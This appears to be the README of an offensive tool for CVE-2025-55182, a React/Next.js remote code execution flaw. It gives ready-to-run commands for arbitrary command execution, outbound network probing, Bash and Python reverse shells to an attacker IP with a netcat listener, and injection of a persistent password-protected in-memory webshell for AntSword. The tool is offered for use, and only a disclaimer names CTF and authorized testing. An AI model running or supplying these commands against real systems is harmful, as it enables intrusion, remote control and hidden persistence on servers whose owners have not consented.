lamaper/cve-2025-55182-toolboxAutomated exploitation tool for CVE-2025-55182 (React/Next.js RCE) with command execution, outbound detection, interactive reverse shell, and persistent memory webshell injection for authorized penetration testing and CTF challenges.
Author: lamaper / BITs2Sys
Version: 1.0.1
License: MIT
This tool is an automated penetration testing tool specifically designed for CVE-2025-55182 (React Server Components / Next.js prototype pollution leading to RCE). Designed for CTF competitions and authorized security service projects, it integrates multiple functions including vulnerability verification, outbound network detection, reverse shell, and memory shell injection.
--cmd) : Leverages the NEXT_REDIRECT exception mechanism to precisely return Base64-encoded command execution results.--check-outbound) : Automatically tests the target machine's ability to access DNS, HTTP, and ICMP, aiding in attack path decisions.--shell) : Built-in Bash and Python3 reverse shell modes, supporting asynchronous execution to prevent HTTP request hanging.--inject-ms) : Injects a memory shell by hijacking the Node.js http.Server event dispatch mechanism, leaving no files on disk and supporting persistent control.--ms-cmd) : An interaction mode independent of the vulnerability trigger path; after injection, commands can be directly executed via the backdoor.This tool is developed based on Python 3 and only requires the requests library.
pip install requests
https://github.com/assetnote/react2shell-scanner is a useful detection tool.
Directly fetch target machine information:
python exploit.py --url http://target.com/ --cmd "id"
python exploit.py --url http://target.com/ --cmd "cat /flag"
Before attempting a reverse shell, confirm whether the target machine can connect to the external network:
python exploit.py --url http://target.com/ --check-outbound
Bash Mode:
# Attacker machine listens: nc -lvnp 4444
python exploit.py --url http://target.com/ --shell bash --ip <Your IP> --port 4444
Python Mode:
python exploit.py --url http://target.com/ --shell python --ip <Your IP> --port 4444
Inject Memory Shell:
python exploit.py --url http://target.com/ --inject-ms
Execute Commands via Memory Shell (use after successful injection):
python exploit.py --url http://target.com/ --ms-cmd "whoami"
Note: The default mount path for the memory shell is /?pass, triggered by submitting the pwd parameter via POST.
Connect via AntSword:
Connection password: pwd, connection method: CMDLINUX
This tool is intended only for security research, CTF competitions, and authorized penetration testing within the bounds permitted by law. It is strictly prohibited to use it for illegal attacks. The user shall bear all consequences arising from the use of this tool.